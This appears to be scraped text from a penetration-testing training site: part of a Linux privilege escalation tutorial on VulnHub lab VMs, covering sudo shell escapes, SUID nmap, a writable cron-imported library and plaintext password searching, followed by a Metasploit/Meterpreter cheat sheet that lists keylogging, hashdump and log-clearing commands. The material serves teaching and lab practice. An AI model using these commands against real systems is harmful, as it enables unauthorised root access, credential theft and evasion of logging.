We can exploit a sudo rule that allows us to run a certain
command, such as cat, find, or python, with elevated privileges,
which we can manipulate to run arbitrary commands instead.

Let’s exploit sudo permissions via shell escaping with the Raven
VM from VulnHub.

Once you have your shell via SSH, we can do some enumeration
to see what privileges we have. Remember from the manual
section above that we mentioned always checking if you have
enabled sudo permissions.

Let’s check our sudo permissions with the sudo -l command.

As you can see from the screenshot above, we can run Python
with sudo privileges without providing a password. Let’s take
advantage of this to get a root shell.

A great resource to check is the GTFOBins website. GTFOBins is


a curated list of Unix binaries that we can use to bypass local
security restrictions. We can check this resource to find what
command we can run with Python to become root.
Let’s run the command sudo python -c 'import os;
os.system("/bin/sh")'

We are now the root user.

SUID
SUID, which stands for Set owner User ID. SUID allows users to
run an executable with the same permissions as the file owner. For
example, if a file has the SUID bit set, the standard user can run
the file with root privileges.

The SUID permission can be set using the chmod command with
the four prefix (for example, chmod 4755 filename), and it can be
identified in a long listing (ls -l) with an s in the place of the
users execute (x) permission (for example, -rwsr-xr-x).
See our Linux File Permissions Cheat Sheet for a thorough
explanation of file permissions.

Let’s look at how to take advantage of the SUID bit being set with
the Mr.Robot VM from VulnHub.

Once you have a reverse shell, we can start enumeration and see
if there are any files with the SUID bit enabled. We can do this
both manually and via an automated tool.

To check for SUID manually, in the terminal type: find / -type


f -perm -04000 -ls 2>/dev/null

We can also check for SUID files using LinPeas.


As you can see, we can take advantage of the SUID bit set on the
Nmap command to elevate our privileges and become root.

You can find a detailed procedure on how to perform this


on GTFOBins.

Running Nmap with the ‘--interactive’ flag starts it in interactive


mode, and ‘!sh’ spawns a shell from within the interactive mode.
Since the SUID bit is set on Nmap, the shell will run with root
privileges.
Scheduled Tasks
Scheduled tasks in Linux are operations that run at predefined
times or intervals. They are used to automate repetitive tasks so
that they can be accomplished without human intervention.

Linux accomplished this through “cron.” The cron utility is a job


scheduler; It lets you automate tasks to the minute. Tasks are set
up in the crontab, a simple text configuration file containing a list of
commands to run at specified times. Each line of the file
represents a single command and follows a syntax that specifies
when the command should run.

If a scheduled task runs with higher privileges (like a root cron job),
and if it's misconfigured to execute a file or script writable by a
regular user, we can modify this file or script to include malicious
commands, leading to privilege escalation when the scheduled
task is executed.

We can look at scheduled tasks with the Symfonos 3 VM from


VulnHub.
Once we have established the connection to the machine via SSH,
we can start our enumeration. The first step is to transfer pspy
from our Kali machine to the target via the Python server. python3
-m http.server

We use the wget command to download pspy from the server. Just
make sure to use the IP from your machine. wget
http://192.168.110.136:8000/pspy64

Let’s run pspy with the following:

./pspy64
After letting pspy run for a few minutes, we notice a process called
ftpclient.py running periodically.

Let’s investigate the file and see if we can somehow append it with
some code to spawn a reverse root shell.
We don’t have write privileges to the ftpclient.py file, but we notice
the file is importing “ftplib.” Maybe we can write it into that file. Let’s
take a closer look at it.

Since we are part of the “gods” group, we have read and write
access to the file. We can append this file with a shell, wait for the
scheduled task to execute, and we should become the root user.
And back on our Kali machine.

Start Your Cyber Security


Career with StationX

• 1000+ Classes & Virtual Labs


• Top Certification Prep
• Mentorship & Career Support
• Community Access
• Advanced Training & Networking

MEMBERSHIP →

00

DAYS
02

HRS

08

MINS

07

SECS

Finding Passwords
When it comes to Linux privilege escalation, one of the easiest
methods to become the root user is finding passwords. This can
provide a direct route to gaining increased access to a system.
There are several methods that attackers might use to find
passwords on a system.

Linux users may store their passwords in plain text; if these files
are not properly secured, we may access the user's account.

Once we locate a password, we can use it to escalate our


privileges by logging into a higher-privileged account or using it
with sudo to run commands with elevated privileges.

Let’s look at how this works using the SickOS VM from VulnHub.
Once we have a shell on the machine, we can search for
passwords. The first thing we can do is look and see what other
users are on the system using the cat /etc/passwd command.
As you can see, we have another user called sickos. The next step
is searching for passwords stored in plain text. We can use the
following command to search for PHP files containing the string
"pass."

find / -maxdepth 4 -name *.php -type f 2>/dev/null


| xargs grep -C 3 -i pass
As you can see, we have a username ‘root’ and password
‘john@123’ stored in plaintext. Let’s see if we can switch to the
sickos user with the password we found. Sometimes passwords
are reused for more than one service.

And it worked. We have elevated our www-data user to the sickos


user. As always, let’s check if we have any sudo privileges with
the sudo -l command.
We can run all commands as the root user, so we run sudo su.
And now have a root shell.

Conclusion
We have walked you through various Linux privilege escalation
techniques such as kernel and service exploits, understanding
SUID, managing scheduled tasks, and navigating password
discovery.

These techniques and tools, from exploiting misconfigured sudo


permissions to leveraging vulnerable services, form an essential
part of a pentester's toolkit. You’ve learned how to enumerate via
manual methods and with automated tools.

And you now better understand some of the most common


misconfigurations in a Linux environment that can lead to privilege
escalation.
Now that you’ve seen how you can leverage privilege escalation
attacks in different ways, why not practice with our hands-on
penetration testing labs?
Hands-on Penetration Testing Labs 1.0

4.8
★★★★★
Hands-on Penetration Testing Labs 2.0

4.9
★★★★★
Hands-on Penetration Testing Labs 3.0

4.8
★★★★★
Hands-on Penetration Testing Labs 4.0

4.9
★★★★★

Frequently Asked Questions


What is privilege escalation in Linux?

Privilege escalation refers to the process by which a lower-level


user gains higher access rights within a Linux environment. This
typically involves exploiting system misconfigurations, enabling
users to perform tasks beyond their intended permissions.

What is the difference between a root user and a sudo user?

What tools can help with Linux privilege escalation?

Metasploit Cheat Sheet: Master the


Modules
May 10, 2024 / By Nathan House
96
SHARES

Listen to the article


Hello hacker! We're going to take your pentesting skills to the next level with Metasploit.
This powerful framework is a must-have in any ethical hacker's toolkit, so we better get
you up to speed quickly.

Whether you're a seasoned red teamer or just starting out, this cheat sheet will put all the
essential commands and modules right at your fingertips. We aim to give you a solid
understanding of how the Metasploit Framework works and how to use it effectively.

Download a PDF version of the Metasploit cheat sheet here to keep on your desk. If
you're ready to get hacking, read on!

Metasploit Cheat Sheet Search


Search our Metasploit cheat sheet to find the right cheat for the term you're looking for.
Simply enter the term in the search bar and you'll receive the matching cheats available.

What Is Metasploit?
Metasploit is a popular open-source framework for creating, testing, and deploying
exploits. It is used by hackers (ethical and otherwise) and security researchers to test the
security of machines, networks, and infrastructure.

Metasploit’s collection of exploits, payloads, and tools to conduct penetration testing can
speed up the testing process and take on much of the heavy lifting.

Most of the available tools and exploits only require filling in some basic information, such
as the target ip address and port number and possibly operating system or software
version of the target. Very little modification is required of the user.

It also has the ability to easily upload files to and download files from a target system,
perform network scanning, routing network traffic, and manage multiple sessions at once.

Whether you're a security professional or a student learning about cybersecurity,


Metasploit is a valuable tool to have in your arsenal.

Networking Commands
These will allow you to view and manipulate network information and data transmission
on a target network.

ipconfig: Show network interface configuration

portfwd: Forward packets

route: View / edit network routing table


Start Your Cyber Security
Career with StationX

• 1000+ Classes & Virtual Labs


• Top Certification Prep
• Mentorship & Career Support
• Community Access
• Advanced Training & Networking

MEMBERSHIP →

00

DAYS

02

HRS

03

MINS

41

SECS

Meterpreter Commands
These commands can be used in an existing meterpreter session to enumerate and
manipulate you target.

BASIC AND FILE HANDLING COMMANDS

sysinfo Display system in formation

ps List and display running processes

kill (PID) Terminate a running process

getuid Display user ID

upload or download Upload / download a file

pwd or lpwd Print working directory ( local / remot

cd or lcd Change directory ( local or remote)

cat Display file content

bglist show background running scripts

bgrun make a script run in the background

bgkill terminate a background process

background Move active session to background

edit <FILE Name> Edit a file in vi editor

shell Access shell on the target machine

migrate <PID> Switch to another process

idletime Display idle time of user

screenshot Take a screenshot

clearev Clear the system logs


BASIC AND FILE HANDLING COMMANDS

? or Help Help showing all the commands

exit / quit : Exit the Meterpreter session

shutdown / reboot Restart the system

use Extension load

channel Show active channels


Metasploit Command Generator

Say goodbye to the hassle of trying to remember the exact syntax for your Metasploit
commands! With our Metasploit Command Generator, you can simply say what you need
Metasploit to do, and we will generate the command for you.

Generate

Process Handling Commands


Gather information on running software and processes on the target machine with these
commands.

COMMAND DESCRIPTION

getpid: Display the process ID

getuid: Display the user ID

ps: Display running process

Kill: Stop and terminate a process


COMMAND DESCRIPTION

getprivs Shows multiple privileges as possible

reg Access target machine registry

Shell Access target machine shell

execute: Run a specified

migrate: Move to a given destination process ID


Interface / Output Commands
View the target desktop and capture keystrokes with these commands.

enumdesktops Show all available desktops

Getdesktop Display current desktop

keyscan_ start Start keylogger in target macahine

Keyscan_ stop Stop keylogger in target machine

set _desktop Configure desktop

keyscan_dump Dump keylogger content


Password Management Commands
Steal user and system passwords.

hashdump Access content of password file – Hash file

Start Your Cyber Security


Career with StationX
• 1000+ Classes & Virtual Labs
• Top Certification Prep
• Mentorship & Career Support
• Community Access
• Advanced Training & Networking

MEMBERSHIP →

00

DAYS

02

HRS

03

MINS

41

SECS

MSF Venom Command Options


Use these flags to generate reverse shell payloads.
SWITCH SYNTAX DESCRIPTION

-p – p (Payload option) Display payload standard options

– l – l ( list type) List module type i .e payload, enc

– f – f ( format ) output format

– e -e (encoder) Define which encoder to use

-a – a (Architecture or platform Define which platform to use

-s -s (Space) Define maximum payload capacity

-b -b (characters) Define set of characters not to us

– i – i (Number of times) Define number of times to use enco

-x -x (File name) Define a custom file to use as tem

– o -o (output) Save a payload

– h -h Help
Conclusion
Metasploit can speed up your pentesting, help organize multiple sessions, and make you
a more efficient hacker. By automating many simple but time consuming tasks, you can
spend more time focused on enumerating your targets and planning your next attack
steps.

You can master Metasploit with our collection of Ethical Hacking and Penetration
Testing courses available in our member’s section. Also read about some of the
other top penetration testing tools here.

You might also like